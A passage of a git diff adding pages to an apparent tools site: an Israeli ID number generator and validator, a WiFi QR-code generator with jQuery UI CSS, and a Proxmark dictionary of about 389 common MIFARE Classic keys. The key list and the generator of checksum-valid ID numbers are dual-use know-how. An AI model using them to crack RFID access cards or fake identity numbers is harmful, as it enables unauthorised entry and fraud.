String(a); + if (9 != b.length || isNaN(b)) return !1; + for (var c, d = 0, e = 0; 9 > e; e++) + (c = Number(b.charAt(e))), + (c *= (e % 2) + 1), + c > 9 && (c -= 9), + (d += c); + return d % 10 === 0; + } + (a.iid = null), + (a.checkStatus = null), + (a.generate = function () { + for (a.checkStatus = !1; !a.checkStatus; ) + (a.iid = d()), (a.checkStatus = e(a.iid)); + }), + (a.check = function () { + a.checkStatus = e(a.iid); + }); +} +angular.module('iid', ['iid.mainCtrl']), + angular.module('iid.mainCtrl', []).controller('mainCtrl', mainCtrl), + (mainCtrl.$inject = ['$scope']); diff --git a/assets/pages/iid-generator/index.html b/assets/pages/iid-generator/index.html new file mode 100644 index 000000000..e866738c1 --- /dev/null +++ b/assets/pages/iid-generator/index.html @@ -0,0 +1,27 @@ + + + + + + Israel ID Generator & Validator + + + + + + +
+

Insert ID to Validate

+ + +
+ + + + + + diff --git a/assets/pages/proxmark/commonkeys.txt b/assets/pages/proxmark/commonkeys.txt new file mode 100644 index 000000000..a80b00cc2 --- /dev/null +++ b/assets/pages/proxmark/commonkeys.txt @@ -0,0 +1,389 @@ +ffffffffffff +000000000000 +000000000001 +000000000002 +000000000003 +000000000004 +000000000005 +000000000006 +000000000007 +000000000008 +000000000009 +00000000000a +00000000000b +00000000000c +00000000000d +00000000000e +00000000000f +000000000010 +00000ffe2488 +010101010101 +010203040506 +012345678901 +0123456789ab +020202020202 +0263de1278f3 +0297927c0f77 +030303030303 +040404040404 +050505050505 +060606060606 +067db45454a9 +070707070707 +080808080808 +090909090909 +0a0a0a0a0a0a +0b0b0b0b0b0b +0c0c0c0c0c0c +0d0d0d0d0d0d +0db5e6523f7c +0e0e0e0e0e0e +0f0f0f0f0f0f +100000000000 +100533b89331 +101010101010 +111111111111 +123456789123 +123456789abc +12f2ee3478c1 +136bdb246cac +14d446e33363 +15fc4c7613fe +16f21a82ec84 +16f3d5ab1139 +17758856b182 +186d8c4b93f9 +1999a3554a55 +1a982c7e459a +1fc235ac1309 +200000000000 +202020202020 +222222222222 +22729a9bd40f +22c1bae1aacd +243f160918d1 +25094df6f148 +26940b21ff5d +2735fc181807 +27dd91f1fcf1 +2a3c347a1200 +2aba9519f574 +2b7f3253fac5 +2ba9621e0a36 +300000000000 +303030303030 +313131313131 +314b49474956 +323232323232 +324f5df65310 +32ac3b90ac13 +333333333333 +33f974b42769 +343434343434 +34d1df9934c5 +353535353535 +35c3d2caee88 +363636363636 +373737373737 +383838383838 +38fcf33072e0 +393939393939 +3a42f33af429 +3a4bba8adaf0 +3df14c8000a1 +3e3554af0e12 +3e65e4fb65b3 +400000000000 +404040404040 +40ead80721ce +414141414141 +414343455353 +414950484f4e +414c41524f4e +414d415a4f4e +42415449434f +4241544d414e +424242424242 +424c41524f4e +434343434343 +434556414d30 +434556414d31 +434f47454c45 +434f4d4d4f41 +434f4d4d4f42 +43ab19ef5c31 +444444444444 +4449414d4f30 +4449414d4f31 +444946455242 +44ab09010845 +454545454545 +454841585443 +454d45545445 +454d50545930 +460722122510 +464646464646 +474f4f474c45 +47524f555041 +47524f555042 +484558414354 +484f52414e45 +486578616374 +48ffe71294a0 +491cdcfb7752 +494e54524154 +49fae4e3849f +4ad1e273eaf1 +4af9d7adebe4 +4b0b20107ccb +4b45594e4643 +4b791bea7bcc +4c4241535953 +4c454c495445 +4d3a99c351dd +4d5950415353 +4e46434b4559 +4e4643544147 +4e4f50415353 +4e4f52414c53 +500000000000 +504153533031 +504153535744 +504f52544149 +505050505050 +505245434953 +505249564141 +505249564142 +505249565441 +505249565442 +506173737764 +509359f131b1 +51119dae5216 +51284c3686a6 +528c9dffe28c +533cb6c723f6 +534547454449 +53455250454f +535455504944 +544552455641 +5448454b4559 +544f544f544f +5452454e4f49 +54726176656c +5547564c4f47 +554e4c4f434b +555555555555 +55f5a5dd38c9 +564947494b30 +564947494b31 +564947494b32 +564947494b33 +564947494b34 +564947494b35 +564947494b36 +564947494b37 +564947494b38 +564947494b39 +564c505f4d41 +569369c5a0e5 +587ee5f9350f +5c598c9c58b5 +5eb8f884c8d1 +5f146716e373 +600000000000 +606060606060 +616161616161 +616363657373 +616970686f6e +616c61726f6e +616d617a6f6e +6202a38f69e2 +62617469636f +6261746d616e +626262626262 +626c61726f6e +62d0c424ed8e +632193be1c3c +6338a371c0ed +636363636363 +636576616d30 +636576616d31 +636f67656c65 +63f17a449af0 +643fb6de2217 +644672bd4afe +646464646464 +6469616d6f30 +6469616d6f31 +646966657262 +64e3c10394c2 +653a87594079 +656565656565 +656d65747465 +656d70747930 +666666666666 +66d2b7dc39ef +67362d90f973 +676f6f676c65 +682d401abb09 +686578616374 +686f72616e65 +68d30288910a +693143f10368 +696e74726174 +6a470d54127c +6b65796e6663 +6bc1e1ae547d +6c6261737973 +6c656c697465 +6c78928e1317 +6d7970617373 +6e66636b6579 +6e6663746167 +6e6f70617373 +6e6f72616c73 +700000000000 +706173733031 +706173737764 +706f72746169 +707070707070 +707265636973 +714c5c886e97 +722bfcc5375f +73068f118c13 +736567656469 +73657270656f +737475706964 +740e9a4f9aaf +746572657661 +7468656b6579 +746f746f746f +7472656e6f69 +756e6c6f636b +75ccb59c9bed +75d8690f21b6 +75ede6a84460 +766967696b30 +766967696b31 +766967696b32 +766967696b33 +766967696b34 +766967696b35 +766967696b36 +766967696b37 +766967696b38 +766967696b39 +776974687573 +777777777777 +7de02a7f6025 +800000000000 +808080808080 +82f435dedf01 +83e3549ce42d +84fd7f7a12b6 +85675b200017 +85fed980ea5a +871b8c085997 +8765b17968a2 +888888888888 +89347350bd36 +8ad5517b4b18 +8fa1d601d0a2 +8fd0a4f256e9 +8fe644038790 +900000000000 +909090909090 +937a4fff3011 +97184d136233 +97d1101f18b0 +987654321987 +999999999999 +99c636334433 +9afa6cb4fc3d +9afc42372af1 +9de89e070277 +9f131d8c2057 +a00000000000 +a0478cc39091 +a053a292a4af +a0a0a0a0a0a0 +a0a1a2a3a4a5 +a0b0c0d0e0f0 +a0b1c2d3e4f5 +a1b1c1d1e1f1 +a1b2c3d4e5f6 +a22ae129c013 +a27d3804c259 +a3f97428dd01 +a64598a77478 +a6cac2886412 +a73f5dc1d333 +a8966c7cc54b +a94133013401 +a9f953def0a3 +aa0720018738 +aaaaaaaaaaaa +aabbccddeeff +aafb06045877 +abcdef123456 +abcdefabcedf +abcdeffedcba +ac0e24c75527 +ae3d65a3dad4 +ae3ff4eea0db +b00000000000 +b0b0b0b0b0b0 +b0b1b2b3b4b5 +b0c9dd55dd4d +b127c6f41436 +b20b83cb145c +b5ff67cba951 +b736412614af +bbbbbbbbbbbb +bd493a3962b6 +bf23a53c1f63 +c00000000000 +c0c0c0c0c0c0 +c4652c54261c +c6ad00254562 +c7c0adb3284f +c82ec29e3235 +c934fe34d934 +cb9a1f2d7368 +cccccccccccc +d00000000000 +d0d0d0d0d0d0 +d39bb83f5297 +d3f7d3f7d3f7 +d49e2826664f +d8a274b2e026 +dddddddddddd +df27a8f1cb8e +e00000000000 +e0e0e0e0e0e0 +e2c42591368a +e3429281efc1 +e444d53d359f +e4d2770a89be +e64a986a5d94 +ee0042f88840 +eeeeeeeeeeee +eff603e1efe9 +f00000000000 +f0e1d2c3b4a5 +f0f0f0f0f0f0 +f124c2578ad0 +f14ee7cae863 +f1a97341a9fc +f1d83f964314 +f1e2d3c4b5a6 +f4a9ef2afc6d +f59a36a2546d +f5e4d3c2b1a0 +f6e5d4c3b2a1 +fc00018778f7 +fc0001877bf7 +fedcbaabcdef +fedcbafedcba +fee470a4cb58 + diff --git a/assets/pages/wifi-qr-generator/index.html b/assets/pages/wifi-qr-generator/index.html new file mode 100644 index 000000000..d004bbb56 --- /dev/null +++ b/assets/pages/wifi-qr-generator/index.html @@ -0,0 +1,517 @@ + + + + WiFi QR-code - Javascript + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
SSID:
Password: + +
Password: + +
Visibility: + +
  + + +
+
+
+
 
+
 
+
+
+ + diff --git a/assets/pages/wifi-qr-generator/jquery-ui.css b/assets/pages/wifi-qr-generator/jquery-ui.css new file mode 100644 index 000000000..c7fdf9d72 --- /dev/null +++ b/assets/pages/wifi-qr-generator/jquery-ui.css @@ -0,0 +1,1496 @@ +.ui-helper-hidden { + display: none; +} +.ui-helper-hidden-accessible { + border: 0; + clip: rect(0 0 0 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; +} +.ui-helper-reset { + margin: 0; + padding: 0; + border: 0; + outline: 0; + line-height: 1.3; + text-decoration: none; + font-size: 100%; + list-style: none; +} +.ui-helper-clearfix:before, +.ui-helper-clearfix:after { + content: ""; + display: table; + border-collapse: collapse; +} +.ui-helper-clearfix:after { + clear: both; +} +.ui-helper-clearfix { + min-height: 0; /* support: IE7 */ +} +.ui-helper-zfix { + width: 100%; + height: 100%; + top: 0; + left: 0; + position: absolute; + opacity: 0; + filter: Alpha(Opacity=0); +} + +.ui-front { + z-index: 100; +} + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { + cursor: default !important; +} + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { + display: block; + text-indent: -99999px; + overflow: hidden; + background-repeat: no-repeat; +} + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; +} +.ui-accordion .ui-accordion-header { + display: block; + cursor: pointer; + position: relative; + margin-top: 2px; + padding: 0.5em 0.5em 0.5em 0.7em; + min-height: 0; /* support: IE7 */ +} +.ui-accordion .ui-accordion-icons { + padding-left: 2.2em; +} +.ui-accordion .ui-accordion-noicons { + padding-left: 0.7em; +} +.ui-accordion .ui-accordion-icons .ui-accordion-icons { + padding-left: 2.2em; +} +.ui-accordion .ui-accordion-header .ui-accordion-header-icon { + position: absolute; + left: 0.5em; + top: 50%; + margin-top: -8px; +} +.ui-accordion .ui-accordion-content { + padding: 1em 2.2em; + border-top: 0; + overflow: auto; +} +.ui-autocomplete { + position: absolute; + top: 0; + left: 0; + cursor: default; +} +.ui-button { + display: inline-block; + position: relative; + padding: 0; + line-height: normal; + margin-right: 0.1em; + cursor: pointer; + vertical-align: middle; + text-align: center; + overflow: visible; /* removes extra width in IE */ +} +.ui-button, +.ui-button:link, +.ui-button:visited, +.ui-button:hover, +.ui-button:active { + text-decoration: none; +} +/* to make room for the icon, a width needs to be set here */ +.ui-button-icon-only { + width: 2.2em; +} +/* button elements seem to need a little more width */ +button.ui-button-icon-only { + width: 2.4em; +} +.ui-button-icons-only { + width: 3.4em; +} +button.ui-button-icons-only { + width: 3.7em; +} + +/* button text element */ +.ui-button .ui-button-text { + display: block; + line-height: normal; +} +.ui-button-text-only .ui-button-text { + padding: 0.4em 1em; +} +.ui-button-icon-only .ui-button-text, +.ui-button-icons-only .ui-button-text { + padding: 0.4em; + text-indent: -9999999px; +} +.ui-button-text-icon-primary .ui-button-text, +.ui-button-text-icons .ui-button-text { + padding: 0.4em 1em 0.4em 2.1em; +} +.ui-button-text-icon-secondary .ui-button-text, +.ui-button-text-icons .ui-button-text { + padding: 0.4em 2.1em 0.4em 1em; +} +.ui-button-text-icons .ui-button-text { + padding-left: 2.1em; + padding-right: 2.1em; +} +/* no icon support for input elements, provide padding by default */ +input.ui-button { + padding: 0.4em 1em; +} + +/* button icon element(s) */ +.ui-button-icon-only .ui-icon, +.ui-button-text-icon-primary .ui-icon, +.ui-button-text-icon-secondary .ui-icon, +.ui-button-text-icons .ui-icon, +.ui-button-icons-only .ui-icon { + position: absolute; + top: 50%; + margin-top: -8px; +} +.ui-button-icon-only .ui-icon { + left: 50%; + margin-left: -8px; +} +.ui-button-text-icon-primary .ui-button-icon-primary, +.ui-button-text-icons .ui-button-icon-primary, +.ui-button-icons-only .ui-button-icon-primary { + left: 0.5em; +} +.ui-button-text-icon-secondary .ui-button-icon-secondary, +.ui-button-text-icons .ui-button-icon-secondary, +.ui-button-icons-only .ui-button-icon-secondary { + right: 0.5em; +} + +/* button sets */ +.ui-buttonset { + margin-right: 7px; +} +.ui-buttonset .ui-button { + margin-left: 0; + margin-right: -0.3em; +} + +/* workarounds */ +/* reset extra padding in Firefox, see h5bp.com/l */ +input.ui-button::-moz-focus-inner, +button.ui-button::-moz-focus-inner { + border: 0; + padding: 0; +} +.ui-datepicker { + width: 17em; + padding: 0.2em 0.2em 0; + display: none; +} +.ui-datepicker .ui-datepicker-header { + position: relative; + padding: 0.2em 0; +} +.ui-datepicker .ui-datepicker-prev, +.ui-datepicker .ui-datepicker-next { + position: absolute; + top: 2px; + width: 1.8em; + height: 1.8em; +} +.ui-datepicker .ui-datepicker-prev-hover, +.ui-datepicker .ui-datepicker-next-hover { + top: 1px; +} +.ui-datepicker .ui-datepicker-prev { + left: 2px; +} +.ui-datepicker .ui-datepicker-next { + right: 2px; +} +.ui-datepicker .ui-datepicker-prev-hover { + left: 1px; +} +.ui-datepicker .ui-datepicker-next-hover { + right: 1px; +} +.ui-datepicker .ui-datepicker-prev span, +.ui-datepicker .ui-datepicker-next span { + display: block; + position: absolute; + left: 50%; + margin-left: -8px; + top: 50%; + margin-top: -8px; +} +.ui-datepicker .ui-datepicker-title { + margin: 0 2.3em; + line-height: 1.8em; + text-align: center; +} +.ui-datepicker .ui-datepicker-title select { + font-size: 1em; + margin: 1px 0; +} +.ui-datepicker select.ui-datepicker-month-year { + width: 100%; +} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { + width: 49%; +} +.ui-datepicker table { + width: 100%; + font-size: 0.9em; + border-collapse: collapse; + margin: 0 0 0.4em; +} +.ui-datepicker th { + padding: 0.7em 0.3em; + text-align: center; + /* font-weight: bold; */ + border: 0; +} +.ui-datepicker td { + border: 0; + padding: 1px; +} +.ui-datepicker td span, +.ui-datepicker td a { + display: block; + padding: 0.2em; + text-align: right; + text-decoration: none; +} +.ui-datepicker .ui-datepicker-buttonpane { + background-image: none; + margin: 0.7em 0 0 0; + padding: 0 0.2em; + border-left: 0; + border-right: 0; + border-bottom: 0; +} +.ui-datepicker .ui-datepicker-buttonpane button { + float: right; + margin: 0.5em 0.2em 0.4em; + cursor: pointer; + padding: 0.2em 0.6em 0.3em 0.6em; + width: auto; + overflow: visible; +} +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { + float: left; +} + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { + width: auto; +} +.ui-datepicker-multi .ui-datepicker-group { + float: left; +} +.ui-datepicker-multi .ui-datepicker-group table { + width: 95%; + margin: 0 auto 0.4em; +} +.ui-datepicker-multi-2 .ui-datepicker-group { + width: 50%; +} +.ui-datepicker-multi-3 .ui-datepicker-group { + width: 33.3%; +} +.ui-datepicker-multi-4 .ui-datepicker-group { + width: 25%; +} +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header, +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { + border-left-width: 0; +} +.ui-datepicker-multi .ui-datepicker-buttonpane { + clear: left; +} +.ui-datepicker-row-break { + clear: both; + width: 100%; + font-size: 0; +} + +/* RTL support */ +.ui-datepicker-rtl { + direction: rtl; +} +.ui-datepicker-rtl .ui-datepicker-prev { + right: 2px; + left: auto; +} +.ui-datepicker-rtl .ui-datepicker-next { + left: 2px; + right: auto; +} +.ui-datepicker-rtl .ui-datepicker-prev:hover { + right: 1px; + left: auto; +} +.ui-datepicker-rtl .ui-datepicker-next:hover { + left: 1px; + right: auto; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane { + clear: right; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane button { + float: left; +} +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current, +.ui-datepicker-rtl .ui-datepicker-group { + float: right; +} +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header, +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { + border-right-width: 0; + border-left-width: 1px; +} +.ui-dialog { + position: absolute; + top: 0; + left: 0; + padding: 0.2em; + outline: 0; +} +.ui-dialog .ui-dialog-titlebar { + padding: 0.4em 1em; + position: relative; +} +.ui-dialog .ui-dialog-title { + float: left; + margin: 0.1em 0; + white-space: nowrap; + width: 90%; + overflow: hidden; + text-overflow: ellipsis; +} +.ui-dialog .ui-dialog-titlebar-close { + position: absolute; + right: 0.3em; + top: 50%; + width: 21px; + margin: -10px 0 0 0; + padding: 1px; + height: 20px; +} +.ui-dialog .ui-dialog-content { + position: relative; + border: 0; + padding: 0.5em 1em; + background: none; + overflow: auto; +} +.ui-dialog .ui-dialog-buttonpane { + text-align: left; + border-width: 1px 0 0 0; + background-image: none; + margin-top: 0.5em; + padding: 0.3em 1em 0.5em 0.4em; +} +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { + float: right; +} +.ui-dialog .ui-dialog-buttonpane button { + margin: 0.5em 0.4em 0.5em 0; + cursor: pointer; +} +.ui-dialog .ui-resizable-se { + width: 12px; + height: 12px; + right: -5px; + bottom: -5px; + background-position: 16px 16px; +} +.ui-draggable .ui-dialog-titlebar { + cursor: move; +} +.ui-menu { + list-style: none; + padding: 2px; + margin: 0; + display: block; + outline: none; +} +.ui-menu .ui-menu { + margin-top: -3px; + position: absolute; +} +.ui-menu .ui-menu-item { + margin: 0; + padding: 0; + width: 100%; +} +.ui-menu .ui-menu-divider { + margin: 5px -2px 5px -2px; + height: 0; + font-size: 0; + line-height: 0; + border-width: 1px 0 0 0; +} +.ui-menu .ui-menu-item a { + text-decoration: none; + display: block; + padding: 2px 0.4em; + line-height: 1.5; + min-height: 0; /* support: IE7 */ + font-weight: normal; +} +.ui-menu .ui-menu-item a.ui-state-focus, +.ui-menu .ui-menu-item a.ui-state-active { + font-weight: normal; + margin: -1px; +} + +.ui-menu .ui-state-disabled { + font-weight: normal; + margin: 0.4em 0 0.2em; + line-height: 1.5; +} +.ui-menu .ui-state-disabled a { + cursor: default; +} + +/* icon support */ +.ui-menu-icons { + position: relative; +} +.ui-menu-icons .ui-menu-item a { + position: relative; + padding-left: 2em; +} + +/* left-aligned */ +.ui-menu .ui-icon { + position: absolute; + top: 0.2em; + left: 0.2em; +} + +/* right-aligned */ +.ui-menu .ui-menu-icon { + position: static; + float: right; +} +.ui-progressbar { + height: 2em; + text-align: left; + overflow: hidden; +} +.ui-progressbar .ui-progressbar-value { + margin: -1px; + height: 100%; +} +.ui-progressbar .ui-progressbar-overlay { + height: 100%; + filter: alpha(opacity=25); + opacity: 0.25; +} +.ui-progressbar-indeterminate .ui-progressbar-value { + background-image: none; +} +.ui-resizable { + position: relative; +} +.ui-resizable-handle { + position: absolute; + font-size: 0.1px; + display: block; +} +.ui-resizable-disabled .ui-resizable-handle, +.ui-resizable-autohide .ui-resizable-handle { + display: none; +} +.ui-resizable-n { + cursor: n-resize; + height: 7px; + width: 100%; + top: -5px; + left: 0; +} +.ui-resizable-s { + cursor: s-resize; + height: 7px; + width: 100%; + bottom: -5px; + left: 0; +} +.ui-resizable-e { + cursor: e-resize; + width: 7px; + right: -5px; + top: 0; + height: 100%; +} +.ui-resizable-w { + cursor: w-resize; + width: 7px; + left: -5px; + top: 0; + height: 100%; +} +.ui-resizable-se { + cursor: se-resize; + width: 12px; + height: 12px; + right: 1px; + bottom: 1px; +} +.ui-resizable-sw { + cursor: sw-resize; + width: 9px; + height: 9px; + left: -5px; + bottom: -5px; +} +.ui-resizable-nw { + cursor: nw-resize; + width: 9px; + height: 9px; + left: -5px; + top: -5px; +} +.ui-resizable-ne { + cursor: ne-resize; + width: 9px; + height: 9px; + right: -5px; + top: -5px; +} +.ui-selectable-helper { + position: absolute; + z-index: 100; + border: 1px dotted black; +} +.ui-slider { + position: relative; + text-align: left; +} +.ui-slider .ui-slider-handle { + position: absolute; + z-index: 2; + width: 1.2em; + height: 1.2em; + cursor: default; +} +.ui-slider .ui-slider-range { + position: absolute; + z-index: 1; + font-size: 0.7em; + display: block; + border: 0; + background-position: 0 0; +} + +/* For IE8 - See #6727 */ +.ui-slider.ui-state-disabled .ui-slider-handle, +.ui-slider.ui-state-disabled .ui-slider-range { + filter: inherit; +} + +.ui-slider-horizontal { + height: 0.8em; +} +.ui-slider-horizontal .ui-slider-handle { + top: -0.3em; + margin-left: -0.6em; +} +.ui-slider-horizontal .ui-slider-range { + top: 0; + height: 100%; +} +.ui-slider-horizontal .ui-slider-range-min { + left: 0; +} +.ui-slider-horizontal .ui-slider-range-max { + right: 0; +} + +.ui-slider-vertical { + width: 0.8em; + height: 100px; +} +.ui-slider-vertical .ui-slider-handle { + left: -0.3em; + margin-left: 0; + margin-bottom: -0.6em; +} +.ui-slider-vertical .ui-slider-range { + left: 0; + width: 100%; +} +.ui-slider-vertical .ui-slider-range-min { + bottom: 0; +} +.ui-slider-vertical .ui-slider-range-max { + top: 0; +} +.ui-spinner { + position: relative; + display: inline-block; + overflow: hidden; + padding: 0; + vertical-align: middle; +} +.ui-spinner-input { + border: none; + background: none; + color: inherit; + padding: 0; + margin: 0.2em 0; + vertical-align: middle; + margin-left: 0.4em; + margin-right: 22px; +} +.ui-spinner-button { + width: 16px; + height: 50%; + font-size: 0.5em; + padding: 0; + margin: 0; + text-align: center; + position: absolute; + cursor: default; + display: block; + overflow: hidden; + right: 0; +} +/* more specificity required here to overide default borders */ +.ui-spinner a.ui-spinner-button { + border-top: none; + border-bottom: none; + border-right: none; +} +/* vertical centre icon */ +.ui-spinner .ui-icon { + position: absolute; + margin-top: -8px; + top: 50%; + left: 0; +} +.ui-spinner-up { + top: 0; +} +.ui-spinner-down { + bottom: 0; +} + +/* TR overrides */ +.ui-spinner .ui-icon-triangle-1-s { + /* need to fix icons sprite */ + background-position: -65px -16px; +} +.ui-tabs { + position: relative; /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ + padding: 0.2em; +} +.ui-tabs .ui-tabs-nav { + margin: 0; + padding: 0.2em 0.2em 0; +} +.ui-tabs .ui-tabs-nav li { + list-style: none; + float: left; + position: relative; + top: 0; + margin: 1px 0.2em 0 0; + border-bottom-width: 0; + padding: 0; + white-space: nowrap; +} +.ui-tabs .ui-tabs-nav li a { + float: left; + padding: 0.5em 1em; + text-decoration: none; +} +.ui-tabs .ui-tabs-nav li.ui-tabs-active { + margin-bottom: -1px; + padding-bottom: 1px; +} +.ui-tabs .ui-tabs-nav li.ui-tabs-active a, +.ui-tabs .ui-tabs-nav li.ui-state-disabled a, +.ui-tabs .ui-tabs-nav li.ui-tabs-loading a { + cursor: text; +} +.ui-tabs .ui-tabs-nav li a, /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ +.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active a { + cursor: pointer; +} +.ui-tabs .ui-tabs-panel { + display: block; + border-width: 0; + padding: 1em 1.4em; + background: none; +} +.ui-tooltip { + padding: 8px; + position: absolute; + z-index: 9999; + max-width: 300px; + -webkit-box-shadow: 0 0 5px #aaa; + box-shadow: 0 0 5px #aaa; +} +body .ui-tooltip { + border-width: 2px; +} + +/* Component containers +----------------------------------*/ +.ui-widget { + font-family: var( + --pure-material-font, + "Roboto", + "Segoe UI", + BlinkMacSystemFont, + system-ui, + -apple-system + ); + font-size: 1.1em; +} +.ui-widget .ui-widget { + font-size: 1em; +} +.ui-widget input, +.ui-widget select, +.ui-widget textarea, +.ui-widget button { + font-family: var( + --pure-material-font, + "Roboto", + "Segoe UI", + BlinkMacSystemFont, + system-ui, + -apple-system + ); + font-size: 1em; +} +.ui-widget-content { + border: 1px solid #dddddd; + background: #eeeeee 50% top repeat-x; + color: #333333; +} +.ui-widget-content a { + color: #333333; +} +.ui-widget-header { + border: 1px solid #e78f08; + background: #f6a828 50% 50% repeat-x; + color: #ffffff; + /* font-weight: bold; */ +} +.ui-widget-header a { + color: #ffffff; +} + +/* Interaction states +----------------------------------*/ +.ui-state-default, +.ui-widget-content .ui-state-default, +.ui-widget-header .ui-state-default { + border: 1px solid #cccccc; + background: #f6f6f6 50% 50% repeat-x; + /* font-weight: bold; */ + color: #000; +} +.ui-state-default a, +.ui-state-default a:link, +.ui-state-default a:visited { + color: #000; + text-decoration: none; +} +.ui-state-hover, +.ui-widget-content .ui-state-hover, +.ui-widget-header .ui-state-hover, +.ui-state-focus, +.ui-widget-content .ui-state-focus, +.ui-widget-header .ui-state-focus { + border: 1px solid #4051b5; + background: #b2c2f8d2 50% 50% repeat-x; + /* font-weight: bold; */ + color: #4051b5; +} +.ui-state-hover a, +.ui-state-hover a:hover, +.ui-state-hover a:link, +.ui-state-hover a:visited { + color: #4051b5; + text-decoration: none; +} +.ui-state-active, +.ui-widget-content .ui-state-active, +.ui-widget-header .ui-state-active { + border: 1px solid #4051b5; + background: #ffffff 50% 50% repeat-x; + /* font-weight: bold; */ + color: #4051b5; +} +.ui-state-active a, +.ui-state-active a:link, +.ui-state-active a:visited { + color: #4051b5; + text-decoration: none; +} + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, +.ui-widget-content .ui-state-highlight, +.ui-widget-header .ui-state-highlight { + border: 1px solid #4051b5; + background: #ffe45c 50% top repeat-x; + color: #363636; +} +.ui-state-highlight a, +.ui-widget-content .ui-state-highlight a, +.ui-widget-header .ui-state-highlight a { + color: #363636; +} +.ui-state-error, +.ui-widget-content .ui-state-error, +.ui-widget-header .ui-state-error { + border: 1px solid #cd0a0a; + background: #b81900 50% repeat; + color: #ffffff; +} +.ui-state-error a, +.ui-widget-content .ui-state-error a, +.ui-widget-header .ui-state-error a { + color: #ffffff; +} +.ui-state-error-text, +.ui-widget-content .ui-state-error-text, +.ui-widget-header .ui-state-error-text { + color: #ffffff; +} +.ui-priority-primary, +.ui-widget-content .ui-priority-primary, +.ui-widget-header .ui-priority-primary { + font-weight: bold; +} +.ui-priority-secondary, +.ui-widget-content .ui-priority-secondary, +.ui-widget-header .ui-priority-secondary { + opacity: 0.7; + filter: Alpha(Opacity=70); + font-weight: normal; +} +.ui-state-disabled, +.ui-widget-content .ui-state-disabled, +.ui-widget-header .ui-state-disabled { + opacity: 0.35; + filter: Alpha(Opacity=35); + background-image: none; +} +.ui-state-disabled .ui-icon { + filter: Alpha(Opacity=35); /* For IE8 - See #6059 */ +} + +/* Icons +----------------------------------*/ + +/* positioning */ +.ui-icon-blank { + background-position: 16px 16px; +} +.ui-icon-carat-1-n { + background-position: 0 0; +} +.ui-icon-carat-1-ne { + background-position: -16px 0; +} +.ui-icon-carat-1-e { + background-position: -32px 0; +} +.ui-icon-carat-1-se { + background-position: -48px 0; +} +.ui-icon-carat-1-s { + background-position: -64px 0; +} +.ui-icon-carat-1-sw { + background-position: -80px 0; +} +.ui-icon-carat-1-w { + background-position: -96px 0; +} +.ui-icon-carat-1-nw { + background-position: -112px 0; +} +.ui-icon-carat-2-n-s { + background-position: -128px 0; +} +.ui-icon-carat-2-e-w { + background-position: -144px 0; +} +.ui-icon-triangle-1-n { + background-position: 0 -16px; +} +.ui-icon-triangle-1-ne { + background-position: -16px -16px; +} +.ui-icon-triangle-1-e { + background-position: -32px -16px; +} +.ui-icon-triangle-1-se { + background-position: -48px -16px; +} +.ui-icon-triangle-1-s { + background-position: -64px -16px; +} +.ui-icon-triangle-1-sw { + background-position: -80px -16px; +} +.ui-icon-triangle-1-w { + background-position: -96px -16px; +} +.ui-icon-triangle-1-nw { + background-position: -112px -16px; +} +.ui-icon-triangle-2-n-s { + background-position: -128px -16px; +} +.ui-icon-triangle-2-e-w { + background-position: -144px -16px; +} +.ui-icon-arrow-1-n { + background-position: 0 -32px; +} +.ui-icon-arrow-1-ne { + background-position: -16px -32px; +} +.ui-icon-arrow-1-e { + background-position: -32px -32px; +} +.ui-icon-arrow-1-se { + background-position: -48px -32px; +} +.ui-icon-arrow-1-s { + background-position: -64px -32px; +} +.ui-icon-arrow-1-sw { + background-position: -80px -32px; +} +.ui-icon-arrow-1-w { + background-position: -96px -32px; +} +.ui-icon-arrow-1-nw { + background-position: -112px -32px; +} +.ui-icon-arrow-2-n-s { + background-position: -128px -32px; +} +.ui-icon-arrow-2-ne-sw { + background-position: -144px -32px; +} +.ui-icon-arrow-2-e-w { + background-position: -160px -32px; +} +.ui-icon-arrow-2-se-nw { + background-position: -176px -32px; +} +.ui-icon-arrowstop-1-n { + background-position: -192px -32px; +} +.ui-icon-arrowstop-1-e { + background-position: -208px -32px; +} +.ui-icon-arrowstop-1-s { + background-position: -224px -32px; +} +.ui-icon-arrowstop-1-w { + background-position: -240px -32px; +} +.ui-icon-arrowthick-1-n { + background-position: 0 -48px; +} +.ui-icon-arrowthick-1-ne { + background-position: -16px -48px; +} +.ui-icon-arrowthick-1-e { + background-position: -32px -48px; +} +.ui-icon-arrowthick-1-se { + background-position: -48px -48px; +} +.ui-icon-arrowthick-1-s { + background-position: -64px -48px; +} +.ui-icon-arrowthick-1-sw { + background-position: -80px -48px; +} +.ui-icon-arrowthick-1-w { + background-position: -96px -48px; +} +.ui-icon-arrowthick-1-nw { + background-position: -112px -48px; +} +.ui-icon-arrowthick-2-n-s { + background-position: -128px -48px; +} +.ui-icon-arrowthick-2-ne-sw { + background-position: -144px -48px; +} +.ui-icon-arrowthick-2-e-w { + background-position: -160px -48px; +} +.ui-icon-arrowthick-2-se-nw { + background-position: -176px -48px; +} +.ui-icon-arrowthickstop-1-n { + background-position: -192px -48px; +} +.ui-icon-arrowthickstop-1-e { + background-position: -208px -48px; +} +.ui-icon-arrowthickstop-1-s { + background-position: -224px -48px; +} +.ui-icon-arrowthickstop-1-w { + background-position: -240px -48px; +} +.ui-icon-arrowreturnthick-1-w { + 